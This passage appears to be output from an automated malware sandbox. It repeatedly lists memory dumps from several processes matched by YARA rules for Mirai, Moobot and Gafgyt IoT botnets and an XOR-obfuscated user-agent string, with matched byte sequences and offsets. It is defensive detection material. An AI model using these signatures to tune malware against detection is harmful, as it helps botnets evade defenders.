2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7022.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6472.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6428.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7143.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7143.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7143.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7143.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7143.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7143.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6361.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7019.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7019.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7019.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7019.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7019.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7019.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6416.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6416.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6416.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6416.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6416.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6416.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6978.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6713.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6250.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6250.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6250.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6250.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6250.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6250.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7368.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6603.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6603.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6603.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6603.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6603.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
